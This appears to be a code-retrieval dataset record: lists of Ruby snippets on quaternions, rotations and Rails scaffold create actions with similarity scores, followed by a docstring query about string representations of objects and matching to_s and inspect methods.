"def -( otherQuat )\n\t\t\tself.class.new( @elem[0] - otherQuat[0],\n\t\t\t\t\t\t @elem[1] - otherQuat[1],\n\t\t\t\t\t\t @elem[2] - otherQuat[2],\n\t\t\t\t\t\t @elem[3] - otherQuat[3] )\n\t\tend",
"def *(obj)\n if obj.kind_of?(Quaternion)\n concatenate(obj)\n else\n transform(obj)\n end\n end",
"def create\n @qurriculum = current_user.qurriculums.new(params[:qurriculum])\n\n respond_to do |format|\n if @qurriculum.save\n format.html { redirect_to @qurriculum, notice: 'Qurriculum was successfully created.' }\n format.json { render json: @qurriculum, status: :created, location: @qurriculum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qurriculum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def exp\n # e^(r+uv)=exp(r)(cos(v)+u*sin(v))\n if is_real?; return Quaternion(Math::exp(@re)); end\n vec=self.vector; v=vec.abs; u = vec/v;\n Math::exp(@re)*(Math::cos(v)+u*Math::sin(v))\n end",
"def ==(quaternion)\r\n (@axis == quaternion.axis)&&(@real == quaternion.real)\r\n end",
"def conjugate\r\n quaternion.conjugate!\r\n end",
"def setEuler(theta1, theta2, theta3, axes)\n if axes.length() != 3\n raise(ArgumentError, \"Must specify exactly 3 axes\")\n end\n quats = Array.new(3)\n theta = [theta1, theta2, theta3]\n for i in 0..2\n if axes.upcase()[i] == 'X'\n quats[i] = UnitQuaternion.fromAngleAxis(theta[i], Vector[1, 0, 0])\n elsif axes.upcase()[i] == 'Y'\n quats[i] = UnitQuaternion.fromAngleAxis(theta[i], Vector[0, 1, 0])\n elsif axes.upcase()[i] == 'Z'\n quats[i] = UnitQuaternion.fromAngleAxis(theta[i], Vector[0, 0, 1])\n else\n raise(ArgumentError, \"Axes can only be X/x, Y/y, or Z/z\")\n end\n end\n if axes == axes.upcase()\n @beta0, @beta_s = (quats[2] * quats[1] * quats[0]).get()\n elsif axes == axes.downcase()\n @beta0, @beta_s = (quats[0] * quats[1] * quats[2]).get()\n else\n raise(ArgumentError, \"Axes must be either all uppercase or all \" +\n \"lowercase\")\n end\n end",
"def to_matrix \n\t\t\tunitq = self.unit\n\t\t\t\n\t\t\t# For the unit quaternion:\n\t\t\t# Matrix = [ 1 - 2y^2 - 2z^2 2xy - 2wz\t\t2xz + 2wy\n\t\t\t#\t\t\t 2xy + 2wz\t\t 1 - 2x^2 - 2z^2\t2yz - 2wx\n\t\t\t#\t\t\t 2xz - 2wy\t\t 2yz + 2wx\t\t1 - 2x^2 - 2y^2 ]\n\t\t\treturn Matrix[\n\t\t\t\t[ 1 - 2 * (unitq.y ** 2 - unitq.z ** 2),\n\t\t\t\t 2 * (unitq.x * unitq.y + unitq.z * unitq.w),\n\t\t\t\t 2 * (unitq.x * unitq.z - unitq.y * unitq.w),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 2 * (unitq.x * unitq.y - unitq.z * unitq.w),\n\t\t\t\t 1 - 2 * (unitq.x ** 2 - unitq.z ** 2),\n\t\t\t\t 2 * (unitq.y * unitq.z + unitq.x * unitq.w),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 2 * (unitq.x * unitq.z + unitq.y * unitq.w),\n\t\t\t\t 2 * (unitq.y * unitq.z - unitq.x * unitq.w),\n\t\t\t\t 1 - 2 * (unitq.x ** 2 - unitq.y ** 2),\n\t\t\t\t 0\n\t\t\t\t],\n\n\t\t\t\t[ 0.0, 0.0, 0.0, 1.0 ],\n\t\t\t]\n\t\tend",
"def rotation(during, on, angle_start, angle_end, distortion: :UNICITY_DISTORTION, time_source: :GENERIC_TIME_SOURCE)\n ScalarAnimation.new(during, on, :angle=, angle_start, angle_end, distortion: distortion, time_source: time_source)\n end",
"def create\n @quarter = Quarter.new(params[:quarter])\n\t@quarter.update_attributes(:user_id => current_user.id)\n\n respond_to do |format|\n if @quarter.save\n format.html { redirect_to user_profile_path(:user => current_user), notice: 'Quarter was successfully created.' }\n format.json { render json: @quarter, status: :created, location: @quarter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quarter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rotation = Rotation.new(rotation_params)\n\n respond_to do |format|\n if @rotation.save\n format.html { redirect_to @rotation, notice: 'Rotation was successfully created.' }\n format.json { render :show, status: :created, location: @rotation }\n else\n format.html { render :new }\n format.json { render json: @rotation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotate!(angle, *args)\n x, y, z = if args.length == 1 then [args[0].x, args[0].y, args[0].z]\n elsif args.length == 3 then [args[0], args[1], args[2]]\n elsif args.length == 4 then raise \"Four dimensional vector rotation is not yet implemented\"\n else raise \"Expected either a Vector3d or x, y and z arguments\"\n end\n\n\n # Calculate the sine and cosine of the angle once\n costheta = cos(angle)\n sintheta = sin(angle)\n\n # Find the new x position of the rotated vector\n rx = (costheta + (1 - costheta) * x * x) * self.x +\n ((1 - costheta) * x * y - z * sintheta) * self.y +\n\t ((1 - costheta) * x * z + y * sintheta) * self.z\n\n\t# Find the new y position for the new rotated point\n ry = ((1 - costheta) * x * y + z * sintheta) * self.x +\n\t (costheta + (1 - costheta) * y * y) * self.y +\n\t ((1 - costheta) * y * z - x * sintheta) * self.z\n\n\t# Find the new z position for the new rotated point\n\trz = ((1 - costheta) * x * z - y * sintheta) * self.x +\n\t ((1 - costheta) * y * z + x * sintheta) * self.y +\n\t (costheta + (1 - costheta) * z * z) * self.z\n\n self.x, self.y, self.z = rx, ry, rz\n self\n end",
"def new_quantity args={}\n SY::Quantity.new args.merge( composition: self )\n end",
"def add!(axis=origin,real=0)\r\n if axis.kind_of? Quaternion\r\n add!(axis.axis,axis.real)\r\n elsif axis.point3_like?\r\n set(@axis+axis,@real+real)\r\n else\r\n raise_no_conversion axis\r\n end\r\n self\r\n end",
"def create\n @quarter = Quarter.new(params[:quarter])\n\n respond_to do |format|\n if @quarter.save\n format.html { redirect_to(@quarter, :notice => 'Quarter was successfully created.') }\n format.xml { render :xml => @quarter, :status => :created, :location => @quarter }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quarter.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize\n\t\t@rotation\t= [0.0, 0.0, 0.0, 0.0]\n\tend",
"def create\n @qor = Qor.new(qor_params)\n\n respond_to do |format|\n if @qor.save\n format.html { redirect_to @qor, notice: 'Qor was successfully created.' }\n format.json { render :show, status: :created, location: @qor }\n else\n format.html { render :new }\n format.json { render json: @qor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotate(forward, upward)\n FMOD.type?(forward, Vector) unless forward.nil?\n FMOD.type?(upward, Vector) unless upward.nil?\n FMOD.invoke(:Geometry_SetRotation, self, forward, upward)\n end",
"def create\n @quotation = Quotation.new(quotation_params)\n authorize @quotation\n respond_to do |format|\n if @quotation.save\n format.html { redirect_to @quotation, notice: 'Quotation was successfully created.' }\n format.json { render :show, status: :created, location: @quotation }\n else\n format.html { render :new }\n format.json { render json: @quotation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_skew(*args)\n end",
"def initialize(x, y, z, theta = nil, phi = nil)\n set_coords(x, y, z)\n self.v = V\n self.theta = theta\n self.phi = phi\n self.theta = Random.rand(0..(Math::PI)) unless self.theta\n self.phi = Random.rand(0..(2 * Math::PI)) unless self.phi\n end",
"def to_cube\n CubeHex.new(@q, -@q-@r, @r)\n end",
"def to_cube\n CubeHex.new(@q, -@q-@r, @r)\n end",
"def cubed\n Quantity.new(@value, @unit * @unit * @unit)\n end",
"def rotation\n {\n axis: @r[0],\n angle: @r[1],\n matrix: @r[2]\n }\n end",
"def to_axis_angle\r\n half_angle = Math.acos(@real)\r\n sin_half_angle = Math.sin(half_angle)\r\n axis = (sin_half_angle.abs < 0.00000001)?\r\n Point3.new(1,0,0) : Point3.new(@axis).scale!(1.0/sin_half_angle)\r\n Quaternion.new(axis,2.0*half_angle)\r\n end",
"def rotate_z(\n theta # float\n) # mat3\n deg = degrees(theta).floor % 360\n if $rotation_memo[\"z#{deg}\"]\n return $rotation_memo[\"z#{deg}\"]\n end\n c = Math.cos(theta) # float\n s = Math.sin(theta) # float\n matrix = Mat3.new(\n Vec3.new(c, -s, 0),\n Vec3.new(s, c, 0),\n Vec3.new(0, 0, 1)\n );\n $rotation_memo[\"z#{deg}\"] = matrix\n matrix\nend",
"def add_quad( *args )\r\n entities = parent\r\n # Array Argument\r\n if args.size == 1 && args.is_a?( Enumerable )\r\n args = args[0]\r\n end\r\n if args.size == 1 && args.is_a?( Sketchup::Curve )\r\n # Curve\r\n curve = args[0]\r\n points = curve.vertices.map { |v| v.position }\r\n if points.size != 4\r\n raise( ArgumentError, 'Too many vertices in curve. Cannot create Quad.' )\r\n end\r\n elsif args.size == 4 && args.all? { |a| a.is_a?( Sketchup::Edge ) }\r\n # Edges\r\n loop = TT::Edges.sort( args )\r\n vertices = TT::Edges.sort_vertices( loop )\r\n points = vertices.map { |v| v.position }\r\n elsif args.size == 4 && args.all? { |a| a.is_a?( Geom::Point3d ) }\r\n # Points\r\n points = args\r\n elsif args.size == 3 && args.all? { |a| a.is_a?( Geom::Point3d ) }\r\n # Triangle\r\n return parent.add_face( args )\r\n else\r\n raise( ArgumentError, 'Invalid arguments. Cannot create Quad.' )\r\n end\r\n # Create triangulated Quad if the quad is not planar.\r\n if TT::Geom3d.planar_points?( points )\r\n face = entities.add_face( points )\r\n QuadFace.new( face )\r\n else\r\n face1 = entities.add_face( points[0], points[1], points[2] )\r\n face2 = entities.add_face( points[0], points[2], points[3] )\r\n edge = ( face1.edges & face2.edges )[0]\r\n QuadFace.set_divider_props( edge )\r\n QuadFace.new( face1 )\r\n end\r\n end",
"def create\n @quarto = Quarto.new(quarto_params)\n\n respond_to do |format|\n if @quarto.save\n format.html { redirect_to @quarto, notice: 'Quarto was successfully created.' }\n format.json { render :show, status: :created, location: @quarto }\n else\n format.html { render :new }\n format.json { render json: @quarto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def divide!(axis=origin,real=1)\r\n if axis.kind_of? Quaternion\r\n divide!(axis.axis,axis.real)\r\n elsif axis.point3_like?\r\n multiply!(quaternion(axis,real).inverse!)\r\n else\r\n raise_no_conversion axis\r\n end\r\n self\r\n end",
"def axis_rotation( axis, angle ) \n\t\t\traise TypeError, \"no implicit conversion of %s to ODE::Vector\" unless\n\t\t\t\taxis.is_a?( ODE::Vector )\n\t\t\tangle = Float(angle)\n\n\t\t\tif len = axis.abs\n\t\t\t\ta = axis/len * sin( angle / 2.0 );\n\t\t\t\tself.class.new( a, cos(angle/2.0) )\n\t\t\telse\n\t\t\t\tself.class.identity\n\t\t\tend\n\t\tend",
"def create\n @quize = Quize.new(params[:quize])\n\n respond_to do |format|\n if @quize.save\n format.html { redirect_to @quize, notice: 'Quize was successfully created.' }\n format.json { render json: @quize, status: :created, location: @quize }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quartet = Quartet.new(params[:quartet])\n\n respond_to do |format|\n if @quartet.save\n format.html { redirect_to @quartet, notice: 'Quartet was successfully created.' }\n format.json { render json: @quartet, status: :created, location: @quartet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quartet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def zrotation\n end",
"def initialize(slot, quarter)\n raise ArgumentError.new(\"slot should be >= 1, but #{slot} was given!\") \\\n if slot < 1\n raise ArgumentError.new(\"quarter must be in 1..4, but it was #{quarter}\") \\\n unless quarter >= 1 && quarter <= 4\n @slot = slot\n @quarter = quarter\n @diameter = Cfg.galaxy_zone_diameter\n\n # Calculate diagonal number.\n @diagonal = (((1 + 8 * slot) ** 0.5 - 1) / 2).ceil\n\n # Calculate coordinates in Ist quarter.\n @x = (@diagonal.to_f / 2 * (1 + @diagonal) - slot).to_i\n @y = x - @diagonal\n\n # Transform to appropriate quarter.\n qt_x, qt_y = QUARTER_TRANSFORMATIONS[quarter - 1]\n @x = @x * -1 - 1 if qt_x == -1\n @y = @y * -1 - 1 if qt_y == -1\n end",
"def create\n @qux = Qux.new(qux_params)\n\n respond_to do |format|\n if @qux.save\n format.html { redirect_to @qux, notice: 'Qux was successfully created.' }\n format.json { render :show, status: :created, location: @qux }\n else\n format.html { render :new }\n format.json { render json: @qux.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quartet = Quartet.new(quartet_params)\n\n respond_to do |format|\n if @quartet.save\n format.html { redirect_to @quartet, notice: 'Quartet was successfully created.' }\n format.json { render :show, status: :created, location: @quartet }\n else\n format.html { render :new }\n format.json { render json: @quartet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quize = Quize.new(quize_params)\n @quize.user_id = current_user.id\n respond_to do |format|\n if @quize.save\n format.html { redirect_to edit_quize_path(@quize), notice: 'Quize was successfully created.' }\n format.json { render :show, status: :created, location: @quize }\n else\n format.html { render :new }\n format.json { render json: @quize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotate(n = 1)\n Orientation.new(ORIENTATIONS.index((@angle + n) % ORIENTATIONS.count))\n end",
"def create\n @orientation = Orientation.new(params[:orientation])\n @orientation.numCurrParticipant = 0\n \n respond_to do |format|\n if @orientation.save\n format.html { redirect_to @orientation, notice: 'Orientation was successfully created.' }\n format.json { render json: @orientation, status: :created, location: @orientation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orientation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @qu = Qu.new(params[:qu])\n\n respond_to do |format|\n if @qu.save\n format.html { redirect_to @qu, :notice => 'Qu was successfully created.' }\n format.json { render :json => @qu, :status => :created, :location => @qu }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @qu.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @qu = Qu.new(params[:qu])\n\n respond_to do |format|\n if @qu.save\n format.html { redirect_to @qu, :notice => 'Qu was successfully created.' }\n format.json { render :json => @qu, :status => :created, :location => @qu }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @qu.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @quotation_unit = QuotationUnit.new(quotation_unit_params)\n\n respond_to do |format|\n if @quotation_unit.save\n format.html { redirect_to @quotation_unit, notice: 'Quotation unit was successfully created.' }\n format.json { render :show, status: :created, location: @quotation_unit }\n else\n format.html { render :new }\n format.json { render json: @quotation_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def make_quiz\n MakeQuizCommand.new(nil).execute\n end",
"def multiply!(axis=origin,real=1)\r\n if axis.kind_of? Quaternion\r\n multiply!(axis.axis,axis.real)\r\n elsif axis.point3_like?\r\n r = (@real*real)-@axis.dot(axis)\r\n p3 = axis.scale r\r\n qp3 = @axis.scale real\r\n cross = @axis.cross axis\r\n a = p3.add!(qp3).add!(cross)\r\n set(a,r)\r\n else\r\n raise_no_conversion axis\r\n end\r\n self\r\n end",
"def *( other )\n\t\t\tcase other\n\t\t\twhen Float, Fixnum\n\t\t\t\tother = other.to_f\n\t\t\t\treturn self.class.new( @elem[0] * other,\n\t\t\t\t\t\t\t\t\t @elem[1] * other,\n\t\t\t\t\t\t\t\t\t @elem[2] * other,\n\t\t\t\t\t\t\t\t\t @elem[3] * other )\n\n\t\t\twhen ODE::Quaternion\n\t\t\t\ts = self.scalar * other.scalar - self.vec.dot( other.vec )\n\t\t\t\tv = self.scalar * other.vec - \n\t\t\t\t\tself.vec.cross( other.vec ) + self.vec * other.scalar\n\n\t\t\t\treturn self.class.new( v, s )\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"no implicit conversion of %s to %s\" %\n\t\t\t\t\t[ other.class.name, 'Float, Fixnum, or ODE::Quaternion' ]\n\t\t\tend\n\t\tend",
"def initialize( length = 0, direction = 0)\n @length = length\n @direction = direction\n \n @i = Math.cos( degreToRadian( @direction ) ) * @length\n #@j = 0\n @j = (Math.sin( degreToRadian( @direction ) ) * @length )*(-1) #*(-1) a cause du sytem axe en y inverse\n puts(\"vector unitaire: \" + i.to_s + \" \" + j.to_s)\n end",
"def rotate(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n Vector.new cos * @x - sin * @y, sin * @x + cos * @y\n end",
"def rotate( vector )\n\t\t\t(self.inverse * self.class.new(vector) * self ).vec \n\t\tend",
"def to_n\n Normal3.new(@x, @y, @z)\n end",
"def create\n @quartier = Quartier.new(params[:quartier])\n\n respond_to do |format|\n if @quartier.save\n format.html { redirect_to @quartier, notice: 'Quartier was successfully created.' }\n format.json { render json: @quartier, status: :created, location: @quartier }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quartier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @q = Q.new(params[:q])\n\n respond_to do |format|\n if @q.save\n format.html { redirect_to @q, notice: 'Q was successfully created.' }\n format.json { render json: @q, status: :created, location: @q }\n else\n format.html { render action: \"new\" }\n format.json { render json: @q.errors, status: :unprocessable_entity }\n end\n end\n end",
"def to_v\n Vector3.new(@x, @y, @z)\n end",
"def create\n @q = Q.new(q_params)\n\n respond_to do |format|\n if @q.save\n format.html { redirect_to @q, notice: 'Q was successfully created.' }\n format.json { render action: 'show', status: :created, location: @q }\n else\n format.html { render action: 'new' }\n format.json { render json: @q.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('create',:node => node_id)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def set_rotation\n @rotation = Rotation.find(params[:id])\n end",
"def set_rotation\n @rotation = Rotation.find(params[:id])\n end",
"def create\n @quandary= current_user.quandaries.build(quandary_params)\n\n respond_to do |format|\n if @quandary.save\n format.html { redirect_to @quandary, notice: 'Quandary was successfully created.' }\n format.json { render :show, status: :created, location: @quandary }\n else\n format.html { render :new }\n format.json { render json: @quandary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotation_matrix(r, v)\n v = vector_normalize(v)\n cosr = Math.cos(r)\n sinr = Math.sin(r)\n vx, vy, vz = v\n new_matrix(4, 4, [ cosr + (1-cosr)*vx*vx, (1-cosr)*vx*vy - vz*sinr, (1-cosr)*vx*vz + vy*sinr, 0,\n (1-cosr)*vx*vy + vz*sinr, cosr + (1-cosr)*vy*vy, (1-cosr)*vy*vz - vx*sinr, 0,\n (1-cosr)*vx*vz - vy*sinr, (1-cosr)*vy*vz + vx*sinr, cosr + (1-cosr)*vz*vz, 0,\n 0, 0, 0, 1 ])\nend",
"def new\n @phase = Phase.new\n end",
"def initialize(position)\n @position = position\n @type = Egg\n srand\n @speed = EggSpeed\n @direction = Vector.new([0,-1,0]).normalized\n end",
"def normalize\n f = 1.0 / length\n Normal3.new(@x * f, @y * f, @z * f)\n end",
"def create\n @quadra = Quadra.new(quadra_params)\n\n respond_to do |format|\n if @quadra.save\n format.html { redirect_to @quadra, notice: 'Quadra was successfully created.' }\n format.json { render :show, status: :created, location: @quadra }\n else\n format.html { render :new }\n format.json { render json: @quadra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_sequence( *elements )\n return Util::ExpressionForms::Sequence.new( *elements )\n end",
"def create\n @quadra = Quadra.new(quadra_params)\n respond_to do |format|\n if @quadra.save\n format.html { redirect_to quadras_url, notice: 'Quadra criada com sucesso.' }\n format.json { render :show, status: :created, location: @quadra }\n else\n format.html { render :new }\n format.json { render json: @quadra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotate direction, origin = Vector[0,0,0], angle\n @pos.rotate!(direction.to_v,origin.to_v,angle)\n end",
"def setRotationMatrix(mat)\n if mat.row_size() != 3 or mat.column_size() != 3\n raise(ArgumentError, \"Rotation matrix must be 3x3\")\n end\n tol = 1e-15\n if not isOrthonormalMatrix(mat, tol)\n raise(ArgumentError, \"Matrix is not orthonormal (to within \" +\n tol.to_s(), \")\")\n end\n if not (mat.determinant() - 1).abs() < 1e-14\n raise(ArgumentError, \"Determinant of the rotation matrix must be \" +\n \"equal to 1\")\n end\n theta1, theta2, theta3 = parseMatrix(mat, false)\n setEuler(theta1, theta2, theta3, 'XYZ')\n end",
"def initialize(time, frequency, amplitude, minvalue, maxvalue, previous_phase)\n @time = time\n @frequency = frequency\n @amplitude = amplitude\n @previous_phase = previous_phase\n @minvalue = minvalue\n @maxvalue = maxvalue\n @random_phase = SecureRandom.rand(2 * frequency)\n end",
"def voice_transpositions(transposition)\n # Check that the transpositions are valid.\n transposition.map do |transposition|\n if ![0, 1, -1, 2, -2].include?(transposition)\n raise \"Invalid transposition: #{ transposition }. Only -2, -1, 0, 1 and 2 are valid.\"\n end\n end\n @metadata[:voice_octaves] = transposition\n return self\n end",
"def new_audio_track(width, height)\n track = new_track(width, height)\n track.new_audio_media\n track\n end",
"def new_audio_track(width, height)\n track = new_track(width, height)\n track.new_audio_media\n track\n end",
"def generate_jwt(expires_in: nil)\n SolidusJwt.encode(payload: as_jwt_payload, expires_in: expires_in)\n end",
"def s_copy\n Vector3f.new(@x, @y, @z)\n end",
"def create\n @qna = Qna.new(qna_params)\n @qna.user_id = current_user.id\n respond_to do |format|\n if @qna.save\n format.html { redirect_to @qna, notice: 'Qna was successfully created.' }\n format.json { render :show, status: :created, location: @qna }\n else\n format.html { render :new }\n format.json { render json: @qna.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiver = Quiver.new(quiver_params)\n\n respond_to do |format|\n if @quiver.save\n format.html { redirect_to @quiver, notice: 'Quiver was successfully created.' }\n format.json { render :show, status: :created, location: @quiver }\n else\n format.html { render :new }\n format.json { render json: @quiver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rot(position)\n position + 13\n end",
"def compute_sphere_rotation_matrix\n # puts \"\\n #{__method__.to_s} enter\"\n # log_sphere_point_when(@sphere_point_when)\n\n # Perp vector is the axis of rotation of the sphere\n # as we roll the arcball from point A to point B\n #\n v_perp = @sphere_point_when[:mouse_down].cross(@sphere_point_when[:mouse_draged])\n\n\n # Just return the identity if we didn't move significantly\n #return Geo3d::Matrix.identity if (v_perp.length < EPSILON)\n\n\n # In the quaternion values,\n # w is cosine (theta / 2), where theta is rotation angle\n #\n v_perp.w = @sphere_point_when[:mouse_down].dot(@sphere_point_when[:mouse_draged])\n\n v_perp.normalize!\n\n # Compute new rotation matrix\n q = Geo3d::Quaternion.new(v_perp.x, v_perp.y, v_perp.z, v_perp.w)\n\n # arc_ball_rotation_matrix\n q.to_matrix\n end",
"def Matrix3dFromAxisAndRotationAngle(arg0, arg1)\n ret = _invoke(1610743898, [arg0, arg1], [VT_I4, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def create\n @fraternity = Fraternity.new(fraternity_params)\n\n respond_to do |format|\n if @fraternity.save\n format.html { redirect_to @fraternity, notice: 'Fraternity was successfully created.' }\n format.json { render :show, status: :created, location: @fraternity }\n else\n format.html { render :new }\n format.json { render json: @fraternity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @curriculum = Curriculum.new(curriculum_params)\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to @curriculum, notice: 'Curriculum was successfully created.' }\n format.json { render :show, status: :created, location: @curriculum }\n else\n format.html { render :new }\n format.json { render json: @curriculum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_rod(sPoint, a)\r\n pts = []\r\n pts[0] = sPoint\r\n pts[1] = Geom::Point3d.new(sPoint[0] + a, sPoint[1], sPoint[2])\r\n return pts\r\nend",
"def quarterName\n qtrName = \"\"\n case self.enclaveQuarter\n when 1\n qtrName = \"First\"\n when 2\n qtrName = \"Second\"\n when 3\n qtrName = \"Third\"\n when 4\n qtrName = \"Fourth\"\n end\n qtrName\n end",
"def create\n @quiniela = Quiniela.new(params[:quiniela])\n\n respond_to do |format|\n if @quiniela.save\n format.html { redirect_to @quiniela, notice: 'Quiniela was successfully created.' }\n format.json { render json: @quiniela, status: :created, location: @quiniela }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quiniela.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @three = Three.new(three_params)\n\n respond_to do |format|\n if @three.save\n format.html { redirect_to @three, notice: 'Three was successfully created.' }\n format.json { render action: 'show', status: :created, location: @three }\n else\n format.html { render action: 'new' }\n format.json { render json: @three.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rotate(*args)\n with_command %(-rotate \"#{Geometry.new(*args)}\")\n end",
"def create\n @q_type = QType.new(q_type_params)\n\n respond_to do |format|\n if @q_type.save\n format.html { redirect_to @q_type, notice: 'Q type was successfully created.' }\n format.json { render :show, status: :created, location: @q_type }\n else\n format.html { render :new }\n format.json { render json: @q_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def -@\n Vector3D.new(-x, -y, -z)\n end",
"def Matrix3dFromVectorAndRotationAngle(arg0, arg1)\n ret = _invoke(1610743896, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def setup_rotation\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n @angle = @acts[1]\n change_angle(@acts[2], @acts[3])\n end",
"def create\n @quote = current_user.quotes.new(quote_params)\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: 'Quote was successfully created.' }\n format.json { render :show, status: :created, location: @quote }\n else\n format.html { render :new }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6609356",
"0.6067942",
"0.6010836",
"0.5893185",
"0.5707647",
"0.56866354",
"0.5601761",
"0.5553814",
"0.55081373",
"0.54702795",
"0.5269312",
"0.52210754",
"0.52124554",
"0.51892394",
"0.5124108",
"0.5040364",
"0.4886151",
"0.4883682",
"0.4806269",
"0.47952566",
"0.47500706",
"0.47395587",
"0.47345883",
"0.47097588",
"0.46728352",
"0.46164376",
"0.46081737",
"0.45889306",
"0.45839974",
"0.45817992",
"0.4540067",
"0.4517877",
"0.45044935",
"0.45044935",
"0.4501456",
"0.44949678",
"0.44894463",
"0.44796762",
"0.44746923",
"0.44472972",
"0.43885022",
"0.4373061",
"0.434237",
"0.433822",
"0.43368694",
"0.4336399",
"0.4333347",
"0.43256634",
"0.43128806",
"0.42953467",
"0.42907587",
"0.42778608",
"0.42778608",
"0.4275438",
"0.4252604",
"0.42451224",
"0.42403233",
"0.42255336",
"0.4213911",
"0.42053905",
"0.42030174",
"0.42029208",
"0.41914827",
"0.41886845",
"0.41829973",
"0.41757816",
"0.41631228",
"0.41631228",
"0.41586807",
"0.41318128",
"0.41294897",
"0.41256642",
"0.41238782",
"0.4122682",
"0.41198903",
"0.4114895",
"0.41090116",
"0.40997434",
"0.40966693",
"0.4096539",
"0.40930492",
"0.40930492",
"0.40856454",
"0.4080192",
"0.4076343",
"0.40761608",
"0.4075293",
"0.40439865",
"0.40128738",
"0.4006683",
"0.40045226",
"0.4001133",
"0.3999502",
"0.39920467",
"0.39828762",
"0.39769894",
"0.39728564",
"0.39722624",
"0.39699945",
"0.39590332",
"0.3958027"
] |
0.0
|
-1
|
Returns a string representing _obj_.
|
def to_s
return '0' if zero?
format_number(@a, false) + sign_as_per(@b) + format_number(@b.abs) + 'i' +
sign_as_per(@c) + format_number(@c.abs) + 'j' + sign_as_per(@d) +
format_number(@d.abs) + 'k'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{@obj.getName}>\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_s\n \"#{self.class.to_s}::<#{object_id}> Args: #{args}\"\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{fullName}>\"\n end",
"def inspect\n sprintf(\"#<%s:%#0x(%s)>\", self.class.name, object_id, to_s)\n end",
"def any_to_s(obj)\n obj.to_s + \":#{obj.class}\"\n rescue\n sprintf(\"#<%s:0x%lx>\", obj.class, obj.__id__)\n end",
"def inspect() \"~#{@obj.inspect}~\" ; end",
"def to_s\n \"#{super}:#{object_id}\"\n end",
"def to_s_safe(obj)\n if obj.respond_to?(:to_s)\n obj.to_s\n else\n 'to_s error'\n end\n end",
"def format_object(obj)\n if obj.kind_of? Exception\n return \"Caught #{obj.class}: #{obj.message}\\n\\t\" +\n (obj.backtrace.nil? ? [] : obj.backtrace[0...@depth]).join(\"\\n\\t\")\n elsif obj.kind_of? String\n return obj\n else # inspect the object\n return \"#{obj.class}: #{obj.inspect}\"\n end\n end",
"def to_text\n \"#{__getobj__.to_text} (OPTIONAL)\"\n end",
"def to_s\n \"<#{ self.class }##{ format('0x00%x', (object_id << 1)) } id:#{ id.inspect }>\"\n end",
"def to_simple_str(object)\n object.respond_to?(:to_s) ? object.to_s : \"#<#{object.id.to_s(16)}>\"\n end",
"def echo obj\n str = obj.to_s\n write str\n end",
"def mu_pp(obj)\n if obj.is_a?(ActiveRecord::Base)\n obj.to_s\n else\n super\n end\n end",
"def inspect\n\t\t\treturn %Q{#<%s:0x%0x \"%s\">} % [\n\t\t\t\tself.class.name,\n\t\t\t\tself.object_id * 2,\n\t\t\t\tself.to_s,\n\t\t\t]\n\t\tend",
"def name\n @object.to_s\n end",
"def Obj\r\n obj.cap_first\r\n end",
